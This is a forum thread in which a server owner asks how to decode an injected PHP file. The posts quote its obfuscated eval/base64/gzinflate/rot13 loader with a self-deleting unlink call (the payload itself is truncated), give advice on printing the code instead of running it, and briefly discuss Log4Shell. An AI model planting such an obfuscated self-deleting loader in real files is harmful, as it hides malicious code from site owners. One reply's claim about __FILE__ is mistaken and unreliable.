PHP Virus?

[tazdevil]

Just noticed that someone has tried to inject PHP code in one of my server. Not an issue as I don't do CGI or have PHP installed and anything uploaded as a file is treated as a plain file unless part of a formal workflow which would require credentials and various security checks

However I'm just curious so can someone tell me how to extract the code that's probably some kind of trojan horse? The file is called 'magic-haders.php' and the code looks like:

<?php
# 383634
eval(str_rot13(gzinflate(str_rot13(base64_decode(' LXzFktxDk+7TW .... '))));
unlink(__FILE__);

[hobnob]

You could use CyberChef for the individual steps (e.g. Base64 decode and ROT13). You could also create your own PHP file (if you have another machine with PHP installed):

<?php
echo str_rot13(gzinflate(str_rot13(base64_decode(' LXzFktxDk+7TW .... '))));
/?>

I.e. replace "eval()" with "echo" to display the script rather than running it. I would guess that the hostile code will define a variable called __FILE__, and then the unlink command will delete that temporary file.

NB I noticed that your sample has 5 opening brackets but 4 closing brackets. You'll need to make sure that they match.

[secwombat]

Make sure your server is patched / configured against the log4j (Log4Shell) - people shouldn't be able to just drop php files on to your server ...

[hobnob]

Make sure your server is patched / configured against the log4j (Log4Shell) - people shouldn't be able to just drop php files on to your server ...

In general terms, it's definitely worth checking for the Log4Shell vulnerability (CVE-2021-44228). However, I think it's unlikely to be related to this issue. The whole point of Log4Shell is that it allows RCE (Remote Code Execution): more specifically, the Log4j package is written in Java, and the vulnerability means that it might download an arbitrary Java class file using JNDI lookup.

So, if you're an attacker, and you can run your own arbitrary code on the web server, why would you use that code to create a PHP file? Whatever the "eval" statement is intended to do, you can just do directly via Java, and in a situation like this (where PHP isn't installed), nothing will happen. It seems more likely that there's a different vulnerability which allowed someone to create the PHP file.

[tazdevil]

Make sure your server is patched / configured against the log4j (Log4Shell) - people shouldn't be able to just drop php files on to your server ...

Not a problem as Log4j isn't in use If an HTTP transaction includes a file then it'll be recorded but that's all unless its a data file expected by the workflow the client is triggering but then the client would need to have passed a number of security checks and filters to access the workflow unless the workflow is a really benign public one

I'm just interested in what the intent was and what the code looks like